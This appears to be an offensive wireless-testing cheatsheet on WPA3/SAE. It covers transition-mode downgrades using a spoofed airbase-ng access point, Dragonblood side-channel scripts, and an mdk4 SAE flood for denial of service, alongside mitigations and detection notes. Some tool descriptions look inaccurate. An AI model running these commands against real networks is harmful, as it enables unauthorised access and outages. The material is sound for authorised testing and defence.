WPA3 / SAE Attacks
WPA3 fixes the offline-handshake-cracking weakness of WPA2 by replacing the 4-way PSK exchange with SAE (a Dragonfly-derived password-authenticated key exchange). The straightforward offline crack disappears — but transition-mode misconfigurations and the original SAE implementation's side-channel leaks open new paths.
Quick Workflow
- Verify the target advertises WPA3 (RSN IE shows AKM SAE = 8)
- Check for transition-mode (mixed WPA2 + WPA3) — easiest path
- If pure WPA3, fingerprint the AP's hostapd version for Dragonblood applicability
- Side-channel timing or cache attacks if reachable
- Otherwise, accept that offline cracking isn't viable — pivot to other surfaces
Transition-Mode Downgrade
If the AP advertises both WPA2-PSK and WPA3-SAE (transition mode for mixed-client networks), older clients can be forced onto WPA2:
# Identify transition mode in beacon frames
sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID>
# Encryption column shows WPA2 WPA3 (both)
Steps:
- Spoof a beacon advertising only RSN-WPA2 with the same BSSID/SSID
- Client roams to your beacon, performs WPA2 4-way handshake
- Capture handshake exactly like
offensive-wpa2-psk
# Use hostapd-mana or airbase-ng for the WPA2-only AP advertisement
airbase-ng -e CorpWiFi -c 6 -W 1 wlan0mon
# -W 1 enables WPA, configure for WPA2-only RSN element
Why this works: WPA3-SAE clients fall back to WPA2-PSK if the AP only advertises WPA2 — there's no protected downgrade defense in transition mode. WPA3-only mode (no transition) blocks this.
Mitigation defenders use: WPA3-only networks (no WPA2). Wi-Fi 6E (6 GHz) mandates WPA3-only by spec.
Dragonblood (CVE-2019-9494 / 9495 / 13377 / 13456)
Side-channel and downgrade attacks against the SAE Hunting-and-Pecking algorithm in pre-2.10 hostapd / wpa_supplicant.
Cache-Based Side-Channel
The original SAE password-element derivation iterates a variable number of times depending on the password and MAC. Cache hits leak the iteration count.
git clone https://github.com/vanhoefm/dragonblood
cd dragonblood
# Cache-based attack (requires co-located malicious code on target host — limited)
python3 dragontime.py --bssid AA:BB:CC:DD:EE:FF --iface wlan0mon
Timing Side-Channel
The same iteration count leaks via observable timing of the SAE commit phase from outside.
python3 dragontime.py --bssid AA:BB:CC:DD:EE:FF --iface wlan0mon --mode timing
Downgrade to Weak Group
Some implementations accept SAE with the deprecated MODP group 5 if the client requests it. Combined with cache/timing side channels, this enables offline dictionary attack.
python3 dragondrain.py wlan0mon AA:BB:CC:DD:EE:FF
Patched Versions
| Implementation | Fixed |
|---|---|
| hostapd / wpa_supplicant | 2.10 (April 2022) |
| Apple iOS / macOS | 2019 patches |
| Windows | KB-batched 2019-2020 |
| Embedded routers | Often unpatched — high hit rate on consumer SOHO |
Hash-to-Element (H2E)
WPA3 R2 introduced H2E to replace the iteration-leaky Hunting-and-Pecking. H2E is constant-time. If the AP advertises H2E in the RSNXE element, Dragonblood-class attacks don't apply.
# Wireshark filter
wlan.rsnx.field.h2e
If H2E is present and required (no Hunting-and-Pecking fallback), only the spec is left to attack — abandon SAE attacks and pivot to other surfaces (PMF check, evil-twin via EAP if Enterprise, supply-chain via management frames).
SAE Auth Flooding (DoS)
SAE's commit phase requires the AP to do heavy elliptic-curve work per association attempt. Floods can exhaust CPU on lower-end APs, denying service to legitimate clients.
sudo mdk4 wlan0mon a -a AA:BB:CC:DD:EE:FF -m -s 1024
# Auth attack mode -a, multiple per second -s 1024
This is a DoS — only with explicit authorization. Modern enterprise APs use anti-clogging tokens to throttle SAE-flood attacks; consumer routers often don't.
6 GHz / Wi-Fi 6E Implications
The 6 GHz band (Wi-Fi 6E, channels 1–233 in the 5925–7125 MHz range) requires:
- WPA3-only (no transition mode)
- PMF (802.11w) mandatory (deauth/disassoc protected)
- OWE (Opportunistic Wireless Encryption) for open networks
Net effect: most pre-WPA3 attacks (deauth, transition-mode downgrade) don't apply on 6 GHz. Pure SAE side-channel, evil-twin, or out-of-band attacks remain viable.
Detection Considerations
WPA3 is enterprise-defended much like WPA2 — WIDS catches:
- Beacon spoofing (transition-mode downgrade) via fingerprint mismatch (IE order, vendor-specific, beacon timing)
- SAE flood via association rate per source MAC
- Repeated SAE commit failures (timing attack telemetry)
Successful Dragonblood-class attacks against patched modern hostapd are unlikely. Consumer SOHO and embedded APs are still in scope.
Engagement Cheatsheet
# 1. Identify mode
sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID>
# Encryption: WPA2 + WPA3 → transition; WPA3-only → SAE-only
# 2. Transition-mode downgrade attempt
sudo airbase-ng -e <ESSID> -c <ch> -W 1 -z 4 wlan0mon # WPA2-RSN advertised only
# 3. Wait for client roam, capture WPA2 handshake (handoff to offensive-wpa2-psk)
# 4. If pure WPA3, fingerprint hostapd
# (passive analysis of beacon IE order + version-specific behaviors)
# 5. Run Dragonblood test scripts if pre-2.10 hostapd suspected
python3 dragondrain.py wlan0mon <BSSID>
python3 dragontime.py --bssid <BSSID> --iface wlan0mon
# 6. Document residual viable attacks; pivot to evil-twin / EAP / RF if pure WPA3 R2
Key References
- Dragonblood: dragonblood.net (Vanhoef + Ronen)
- IEEE 802.11-2020 (combined spec including WPA3)
- WFA WPA3 Specification
- hostapd 2.10 release notes
- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md
